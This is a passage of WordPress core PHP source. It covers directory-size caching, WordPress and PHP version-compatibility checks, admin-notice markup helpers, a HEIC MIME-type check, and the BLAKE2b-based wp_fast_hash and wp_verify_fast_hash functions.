8828 if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) {
8829 return false;
8830 }
8831
8832 if (
8833 ( is_string( $exclude ) && $directory === $exclude ) ||
8834 ( is_array( $exclude ) && in_array( $directory, $exclude, true ) )
8835 ) {
8836 return false;
8837 }
8838
8839 if ( null === $max_execution_time ) {
8840 // Keep the previous behavior but attempt to prevent fatal errors from timeout if possible.
8841 if ( function_exists( 'ini_get' ) ) {
8842 $max_execution_time = ini_get( 'max_execution_time' );
8843 } else {
8844 // Disable...
8845 $max_execution_time = 0;
8846 }
8847
8848 // Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value.
8849 if ( $max_execution_time > 10 ) {
8850 $max_execution_time -= 1;
8851 }
8852 }
8853
8854 /**
8855 * Filters the amount of storage space used by one directory and all its children, in megabytes.
8856 *
8857 * Return the actual used space to short-circuit the recursive PHP file size calculation
8858 * and use something else, like a CDN API or native operating system tools for better performance.
8859 *
8860 * @since 5.6.0
8861 *
8862 * @param int|false $space_used The amount of used space, in bytes. Default false.
8863 * @param string $directory Full path of a directory.
8864 * @param string|string[]|null $exclude Full path of a subdirectory to exclude from the total,
8865 * or array of paths.
8866 * @param int $max_execution_time Maximum time to run before giving up. In seconds.
8867 * @param array $directory_cache Array of cached directory paths.
8868 */
8869 $size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache );
8870
8871 if ( false === $size ) {
8872 $size = 0;
8873
8874 $handle = opendir( $directory );
8875 if ( $handle ) {
8876 while ( ( $file = readdir( $handle ) ) !== false ) {
8877 $path = $directory . '/' . $file;
8878 if ( '.' !== $file && '..' !== $file ) {
8879 if ( is_file( $path ) ) {
8880 $size += filesize( $path );
8881 } elseif ( is_dir( $path ) ) {
8882 $handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache );
8883 if ( $handlesize > 0 ) {
8884 $size += $handlesize;
8885 }
8886 }
8887
8888 if ( $max_execution_time > 0 &&
8889 ( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time
8890 ) {
8891 // Time exceeded. Give up instead of risking a fatal timeout.
8892 $size = null;
8893 break;
8894 }
8895 }
8896 }
8897 closedir( $handle );
8898 }
8899 }
8900
8901 if ( ! is_array( $directory_cache ) ) {
8902 $directory_cache = array();
8903 }
8904
8905 $directory_cache[ $directory ] = $size;
8906
8907 // Only write the transient on the top level call and not on recursive calls.
8908 if ( $save_cache ) {
8909 $expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS;
8910 set_transient( 'dirsize_cache', $directory_cache, $expiration );
8911 }
8912
8913 return $size;
8914}
8915
8916/**
8917 * Cleans directory size cache used by recurse_dirsize().
8918 *
8919 * Removes the current directory and all parent directories from the `dirsize_cache` transient.
8920 *
8921 * @since 5.6.0
8922 * @since 5.9.0 Added input validation with a notice for invalid input.
8923 *
8924 * @param string $path Full path of a directory or file.
8925 */
8926function clean_dirsize_cache( $path ) {
8927 if ( ! is_string( $path ) || empty( $path ) ) {
8928 wp_trigger_error(
8929 '',
8930 sprintf(
8931 /* translators: 1: Function name, 2: A variable type, like "boolean" or "integer". */
8932 __( '%1$s only accepts a non-empty path string, received %2$s.' ),
8933 '<code>clean_dirsize_cache()</code>',
8934 '<code>' . gettype( $path ) . '</code>'
8935 )
8936 );
8937 return;
8938 }
8939
8940 $directory_cache = get_transient( 'dirsize_cache' );
8941
8942 if ( empty( $directory_cache ) ) {
8943 return;
8944 }
8945
8946 $expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS;
8947 if (
8948 ! str_contains( $path, '/' ) &&
8949 ! str_contains( $path, '\\' )
8950 ) {
8951 unset( $directory_cache[ $path ] );
8952 set_transient( 'dirsize_cache', $directory_cache, $expiration );
8953 return;
8954 }
8955
8956 $last_path = null;
8957 $path = untrailingslashit( $path );
8958 unset( $directory_cache[ $path ] );
8959
8960 while (
8961 $last_path !== $path &&
8962 DIRECTORY_SEPARATOR !== $path &&
8963 '.' !== $path &&
8964 '..' !== $path
8965 ) {
8966 $last_path = $path;
8967 $path = dirname( $path );
8968 unset( $directory_cache[ $path ] );
8969 }
8970
8971 set_transient( 'dirsize_cache', $directory_cache, $expiration );
8972}
8973
8974/**
8975 * Returns the current WordPress version.
8976 *
8977 * Returns an unmodified value of `$wp_version`. Some plugins modify the global
8978 * in an attempt to improve security through obscurity. This practice can cause
8979 * errors in WordPress, so the ability to get an unmodified version is needed.
8980 *
8981 * @since 6.7.0
8982 *
8983 * @return string The current WordPress version.
8984 */
8985function wp_get_wp_version() {
8986 static $wp_version;
8987
8988 if ( ! isset( $wp_version ) ) {
8989 require ABSPATH . WPINC . '/version.php';
8990 }
8991
8992 return $wp_version;
8993}
8994
8995/**
8996 * Checks compatibility with the current WordPress version.
8997 *
8998 * @since 5.2.0
8999 *
9000 * @global string $_wp_tests_wp_version The WordPress version string. Used only in Core tests.
9001 *
9002 * @param string $required Minimum required WordPress version.
9003 * @return bool True if required version is compatible or empty, false if not.
9004 */
9005function is_wp_version_compatible( $required ) {
9006 if (
9007 defined( 'WP_RUN_CORE_TESTS' )
9008 && WP_RUN_CORE_TESTS
9009 && isset( $GLOBALS['_wp_tests_wp_version'] )
9010 ) {
9011 $wp_version = $GLOBALS['_wp_tests_wp_version'];
9012 } else {
9013 $wp_version = wp_get_wp_version();
9014 }
9015
9016 // Strip off any -alpha, -RC, -beta, -src suffixes.
9017 list( $version ) = explode( '-', $wp_version );
9018
9019 if ( is_string( $required ) ) {
9020 $trimmed = trim( $required );
9021
9022 if ( substr_count( $trimmed, '.' ) > 1 && str_ends_with( $trimmed, '.0' ) ) {
9023 $required = substr( $trimmed, 0, -2 );
9024 }
9025 }
9026
9027 return empty( $required ) || version_compare( $version, $required, '>=' );
9028}
9029
9030/**
9031 * Checks compatibility with the current PHP version.
9032 *
9033 * @since 5.2.0
9034 *
9035 * @param string $required Minimum required PHP version.
9036 * @return bool True if required version is compatible or empty, false if not.
9037 */
9038function is_php_version_compatible( $required ) {
9039 return empty( $required ) || version_compare( PHP_VERSION, $required, '>=' );
9040}
9041
9042/**
9043 * Checks if two numbers are nearly the same.
9044 *
9045 * This is similar to using `round()` but the precision is more fine-grained.
9046 *
9047 * @since 5.3.0
9048 *
9049 * @param int|float $expected The expected value.
9050 * @param int|float $actual The actual number.
9051 * @param int|float $precision Optional. The allowed variation. Default 1.
9052 * @return bool Whether the numbers match within the specified precision.
9053 */
9054function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) {
9055 return abs( (float) $expected - (float) $actual ) <= $precision;
9056}
9057
9058/**
9059 * Creates and returns the markup for an admin notice.
9060 *
9061 * @since 6.4.0
9062 *
9063 * @param string $message The message.
9064 * @param array $args {
9065 * Optional. An array of arguments for the admin notice. Default empty array.
9066 *
9067 * @type string $type Optional. The type of admin notice.
9068 * For example, 'error', 'success', 'warning', 'info'.
9069 * Default empty string.
9070 * @type bool $dismissible Optional. Whether the admin notice is dismissible. Default false.
9071 * @type string $id Optional. The value of the admin notice's ID attribute. Default empty string.
9072 * @type string[] $additional_classes Optional. A string array of class names. Default empty array.
9073 * @type string[] $attributes Optional. Additional attributes for the notice div. Default empty array.
9074 * @type bool $paragraph_wrap Optional. Whether to wrap the message in paragraph tags. Default true.
9075 * }
9076 * @return string The markup for an admin notice.
9077 */
9078function wp_get_admin_notice( $message, $args = array() ) {
9079 $defaults = array(
9080 'type' => '',
9081 'dismissible' => false,
9082 'id' => '',
9083 'additional_classes' => array(),
9084 'attributes' => array(),
9085 'paragraph_wrap' => true,
9086 );
9087
9088 $args = wp_parse_args( $args, $defaults );
9089
9090 /**
9091 * Filters the arguments for an admin notice.
9092 *
9093 * @since 6.4.0
9094 *
9095 * @param array $args The arguments for the admin notice.
9096 * @param string $message The message for the admin notice.
9097 */
9098 $args = apply_filters( 'wp_admin_notice_args', $args, $message );
9099 $id = '';
9100 $classes = 'notice';
9101 $attributes = '';
9102
9103 if ( is_string( $args['id'] ) ) {
9104 $trimmed_id = trim( $args['id'] );
9105
9106 if ( '' !== $trimmed_id ) {
9107 $id = 'id="' . $trimmed_id . '" ';
9108 }
9109 }
9110
9111 if ( is_string( $args['type'] ) ) {
9112 $type = trim( $args['type'] );
9113
9114 if ( str_contains( $type, ' ' ) ) {
9115 _doing_it_wrong(
9116 __FUNCTION__,
9117 sprintf(
9118 /* translators: %s: The "type" key. */
9119 __( 'The %s key must be a string without spaces.' ),
9120 '<code>type</code>'
9121 ),
9122 '6.4.0'
9123 );
9124 }
9125
9126 if ( '' !== $type ) {
9127 $classes .= ' notice-' . $type;
9128 }
9129 }
9130
9131 if ( true === $args['dismissible'] ) {
9132 $classes .= ' is-dismissible';
9133 }
9134
9135 if ( is_array( $args['additional_classes'] ) && ! empty( $args['additional_classes'] ) ) {
9136 $classes .= ' ' . implode( ' ', $args['additional_classes'] );
9137 }
9138
9139 if ( is_array( $args['attributes'] ) && ! empty( $args['attributes'] ) ) {
9140 $attributes = '';
9141 foreach ( $args['attributes'] as $attr => $val ) {
9142 if ( is_bool( $val ) ) {
9143 $attributes .= $val ? ' ' . $attr : '';
9144 } elseif ( is_int( $attr ) ) {
9145 $attributes .= ' ' . esc_attr( trim( $val ) );
9146 } elseif ( $val ) {
9147 $attributes .= ' ' . $attr . '="' . esc_attr( trim( $val ) ) . '"';
9148 }
9149 }
9150 }
9151
9152 if ( false !== $args['paragraph_wrap'] ) {
9153 $message = "<p>$message</p>";
9154 }
9155
9156 $markup = sprintf( '<div %1$sclass="%2$s"%3$s>%4$s</div>', $id, $classes, $attributes, $message );
9157
9158 /**
9159 * Filters the markup for an admin notice.
9160 *
9161 * @since 6.4.0
9162 *
9163 * @param string $markup The HTML markup for the admin notice.
9164 * @param string $message The message for the admin notice.
9165 * @param array $args The arguments for the admin notice.
9166 */
9167 return apply_filters( 'wp_admin_notice_markup', $markup, $message, $args );
9168}
9169
9170/**
9171 * Outputs an admin notice.
9172 *
9173 * @since 6.4.0
9174 *
9175 * @param string $message The message to output.
9176 * @param array $args {
9177 * Optional. An array of arguments for the admin notice. Default empty array.
9178 *
9179 * @type string $type Optional. The type of admin notice.
9180 * For example, 'error', 'success', 'warning', 'info'.
9181 * Default empty string.
9182 * @type bool $dismissible Optional. Whether the admin notice is dismissible. Default false.
9183 * @type string $id Optional. The value of the admin notice's ID attribute. Default empty string.
9184 * @type string[] $additional_classes Optional. A string array of class names. Default empty array.
9185 * @type string[] $attributes Optional. Additional attributes for the notice div. Default empty array.
9186 * @type bool $paragraph_wrap Optional. Whether to wrap the message in paragraph tags. Default true.
9187 * }
9188 */
9189function wp_admin_notice( $message, $args = array() ) {
9190 /**
9191 * Fires before an admin notice is output.
9192 *
9193 * @since 6.4.0
9194 *
9195 * @param string $message The message for the admin notice.
9196 * @param array $args The arguments for the admin notice.
9197 */
9198 do_action( 'wp_admin_notice', $message, $args );
9199
9200 echo wp_kses_post( wp_get_admin_notice( $message, $args ) );
9201}
9202
9203/**
9204 * Checks if a mime type is for a HEIC/HEIF image.
9205 *
9206 * @since 6.7.0
9207 *
9208 * @param string $mime_type The mime type to check.
9209 * @return bool Whether the mime type is for a HEIC/HEIF image.
9210 */
9211function wp_is_heic_image_mime_type( $mime_type ) {
9212 $heic_mime_types = array(
9213 'image/heic',
9214 'image/heif',
9215 'image/heic-sequence',
9216 'image/heif-sequence',
9217 );
9218
9219 return in_array( $mime_type, $heic_mime_types, true );
9220}
9221
9222/**
9223 * Returns a cryptographically secure hash of a message using a fast generic hash function.
9224 *
9225 * Use the wp_verify_fast_hash() function to verify the hash.
9226 *
9227 * This function does not salt the value prior to being hashed, therefore input to this function must originate from
9228 * a random generator with sufficiently high entropy, preferably greater than 128 bits. This function is used internally
9229 * in WordPress to hash security keys and application passwords which are generated with high entropy.
9230 *
9231 * Important:
9232 *
9233 * - This function must not be used for hashing user-generated passwords. Use wp_hash_password() for that.
9234 * - This function must not be used for hashing other low-entropy input. Use wp_hash() for that.
9235 *
9236 * The BLAKE2b algorithm is used by Sodium to hash the message.
9237 *
9238 * @since 6.8.0
9239 *
9240 * @throws TypeError Thrown by Sodium if the message is not a string.
9241 *
9242 * @param string $message The message to hash.
9243 * @return string The hash of the message.
9244 */
9245function wp_fast_hash(
9246 #[\SensitiveParameter]
9247 string $message
9248): string {
9249 $hashed = sodium_crypto_generichash( $message, 'wp_fast_hash_6.8+', 30 );
9250 return '$generic$' . sodium_bin2base64( $hashed, SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING );
9251}
9252
9253/**
9254 * Checks whether a plaintext message matches the hashed value. Used to verify values hashed via wp_fast_hash().
9255 *
9256 * The function uses Sodium to hash the message and compare it to the hashed value. If the hash is not a generic hash,
9257 * the hash is treated as a phpass portable hash in order to provide backward compatibility for passwords and security
9258 * keys which were hashed using phpass prior to WordPress 6.8.0.
9259 *
9260 * @since 6.8.0
9261 *
9262 * @throws TypeError Thrown by Sodium if the message is not a string.
9263 *
9264 * @param string $message The plaintext message.
9265 * @param string $hash Hash of the message to check against.
9266 * @return bool Whether the message matches the hashed message.
9267 */
9268function wp_verify_fast_hash(
9269 #[\SensitiveParameter]
9270 string $message,
9271 string $hash
9272): bool {
9273 if ( ! str_starts_with( $hash, '$generic$' ) ) {
9274 // Back-compat for old phpass hashes.
9275 require_once ABSPATH . WPINC . '/class-phpass.php';
9276 return ( new PasswordHash( 8, true ) )->CheckPassword( $message, $hash );
9277 }
9278
9279 return hash_equals( $hash, wp_fast_hash( $message ) );
9280}
9281